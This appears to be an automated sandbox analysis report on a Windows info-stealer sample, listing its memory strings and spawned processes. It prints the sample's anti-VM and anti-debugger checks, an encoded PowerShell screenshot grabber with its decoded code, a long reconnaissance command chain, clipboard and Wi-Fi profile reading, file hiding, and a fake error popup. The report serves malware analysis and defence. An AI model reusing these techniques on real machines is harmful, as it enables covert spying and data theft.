Source: rename_me_before.exe, 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _process = ["HTTP Toolkit.exe", "httpdebuggerui.exe","wireshark.exe", "fiddler.exe", "regedit.exe", "taskmgr.exe", "vboxservice.exe", "df5serv.exe", "processhacker.exe", "vboxtray.exe", "vmtoolsd.exe", "vmwaretray.exe", "ida64.exe", "ollydbg.exe",
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmtoolsd.exe", # VMware
Source: rename_me_before.exe, 00000001.00000003.1966603181.000001B103364000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000003D.00000002.1787934637.000001EFE711A000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.1.dr	Binary or memory string: DISPLAY_NAME: Hyper-V PowerShell Direct Service
Source: rename_me_before.exe, 00000001.00000003.1948127865.000001B1028B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: return any(x.lower() in decoded_output[2].strip().lower() for x in ("virtualbox", "vmware"))
Source: rename_me_before.exe, 00000001.00000003.1946914217.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891303123.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1980706775.000001B103351000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V H?[
Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vboxtray.exe", # VirtualBox
Source: rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966603181.000001B103364000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977271486.000001B100CAC000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971439621.000001B100CAB000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891031663.000001B101762000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1890887801.000001B10175B000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.1.dr	Binary or memory string: DISPLAY_NAME: Hyper-V Data Exchange Service
Source: rename_me_before.exe, 00000001.00000003.1946914217.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891303123.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1980706775.000001B103351000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: E: Hyper-V Remote Deskto
Source: rename_me_before.exe, 00000001.00000003.1966603181.000001B103364000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1970864260.000001B10096C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1976544223.000001B10096C000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.1.dr	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Shutdown Service
Source: rename_me_before.exe, 00000001.00000002.1979075425.000001B101E80000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Hyper-V_EndRecData640
Source: rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966603181.000001B103364000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977271486.000001B100CAC000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971439621.000001B100CAB000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.1.dr	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Service Interface
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: b'VMware'
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exe
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice.exe
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vboxservice.exe"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exe0E!
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exe
Source: rename_me_before.exe, 00000001.00000003.1946914217.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891303123.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1980706775.000001B103351000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown S
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe"
Source: rename_me_before.exe, 00000001.00000003.1946914217.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891303123.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1980706775.000001B103351000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V V
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray.exe
Source: rename_me_before.exe, 00000001.00000003.1946802827.000001B1015CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: # jVmCIddOhQT9W9J
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.exe
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmware"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 'qemu'
Source: net1.exe, 00000030.00000002.1767121596.00000228A90E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Administratorsn
Source: sc.exe, 0000003D.00000002.1787934637.000001EFE711A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service InterfacevmicguestinterfaceVirtual DiskvdsCredential ManagerVaultSvcVolumetric Audio Compositor ServiceVacSvcUpdate Orchestrator ServiceU
Source: rename_me_before.exe, 00000001.00000003.1891156202.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1947237648.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1966603181.000001B103364000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1977271486.000001B100CAC000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1969941981.000001B100C4C000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1971439621.000001B100CAB000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891031663.000001B101762000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1890887801.000001B10175B000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000003D.00000002.1787934637.000001EFE711A000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.1.dr	Binary or memory string: DISPLAY_NAME: Hyper-V Remote Desktop Virtualization Service
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmtoolsd.exe"
Source: system_info.txt.1.dr	Binary or memory string: SERVICE_NAME: vmicvss
Source: system_info.txt.1.dr	Binary or memory string: SERVICE_NAME: vmicheartbeat
Source: rename_me_before.exe, 00000001.00000002.1980741579.000001B103362000.00000004.00000020.00020000.00000000.sdmp, system_info.txt.1.dr	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: HOSTNAME.EXE, 00000028.00000002.1741152783.000002228E2E9000.00000004.00000020.00020000.00000000.sdmp, ARP.EXE, 0000003B.00000002.1786834187.000001BC86B99000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 0000003C.00000002.1787389526.000001EFEBDB9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: system_info.txt.1.dr	Binary or memory string: SERVICE_NAME: vmicshutdown
Source: rename_me_before.exe, 00000001.00000003.1946914217.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891303123.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1980706775.000001B103351000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Ti
Source: rename_me_before.exe, 00000001.00000003.1952943493.000001B1014F9000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1978432003.000001B101520000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949949259.000001B1021E3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1948127865.000001B1028B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hostNames = ['sandbox','cuckoo', 'vm', 'virtual', 'qemu', 'vbox', 'xen']
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmusrvc.exe"0
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmsrvc.exe"
Source: sc.exe, 0000003D.00000002.1787934637.000001EFE711A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WLAN AutoConfigWlanSvcWindows Insider ServicewisvcWindows Remote Management (WS-Management)WinRMWindows Management InstrumentationWinmgmtWinHTTP Web Proxy Auto-Discovery ServiceWinHttpAutoProxySvcMicrosoft Defender Antivirus ServiceWinDefendStill Image Acquisition EventsWiaRpcWi-Fi Direct Services Connection Manager ServiceWFDSConMgrSvcWindows Error Reporting ServiceWerSvcProblem Reports Control Panel SupportwercplsupportWindows Encryption Provider Host ServiceWEPHOSTSVCWindows Event CollectorWecsvcWebClientWebClientMicrosoft Defender Antivirus Network Inspection ServiceWdNisSvcDiagnostic System HostWdiSystemHostDiagnostic Service HostWdiServiceHostWindows Connect Now - Config RegistrarwcncsvcWindows Connection ManagerWcmsvcWindows Biometric ServiceWbioSrvcBlock Level Backup Engine ServicewbengineWarpJITSvcWarpJITSvcWalletServiceWalletServiceWindows TimeW32TimeVolume Shadow CopyVSSHyper-V Volume Shadow Copy RequestorvmicvssHyper-V PowerShell Direct ServicevmicvmsessionHyper-V Time Synchronization ServicevmictimesyncHyper-V Guest Shutdown ServicevmicshutdownHyper-V Remote Desktop Virtualization ServicevmicrdvHyper-V Data Exchange ServicevmickvpexchangeHyper-V Heartbeat Servicevmicheartbeat
Source: rename_me_before.exe, 00000001.00000003.1946914217.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000003.1891303123.000001B103351000.00000004.00000020.00020000.00000000.sdmp, rename_me_before.exe, 00000001.00000002.1980706775.000001B103351000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: E: Hyper-V PowerShell Di
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmusrvc.exe"
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemupR!
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc.exepF!
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware`
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "qemu-ga.exe"
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmacthlp.exe", # VMware
Source: rename_me_before.exe, 00000001.00000003.1949993747.000001B101FC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: if b'VMware' in stdout:
Source: rename_me_before.exe, 00000001.00000002.1980426241.000001B103150000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmsrvc.exe"

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\rename_me_before.exe

Code function: 0_2_00007FF6404EC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6404EC44C

Source: C:\Users\user\Desktop\rename_me_before.exe

Code function: 0_2_00007FF640502790 GetProcessHeap,

0_2_00007FF640502790

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\NETSTAT.EXE	Process token adjusted: Debug
Source: C:\Windows\System32\NETSTAT.EXE	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404EBBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF6404EBBC0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404EC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6404EC44C
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404EC62C SetUnhandledExceptionFilter,	0_2_00007FF6404EC62C
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 0_2_00007FF6404F9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6404F9924
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404EBBC0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF6404EBBC0
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404EC44C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF6404EC44C
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404EC62C SetUnhandledExceptionFilter,	1_2_00007FF6404EC62C
Source: C:\Users\user\Desktop\rename_me_before.exe	Code function: 1_2_00007FF6404F9924 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF6404F9924

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Users\user\Desktop\rename_me_before.exe "C:\Users\user\Desktop\rename_me_before.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\rename_me_before.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
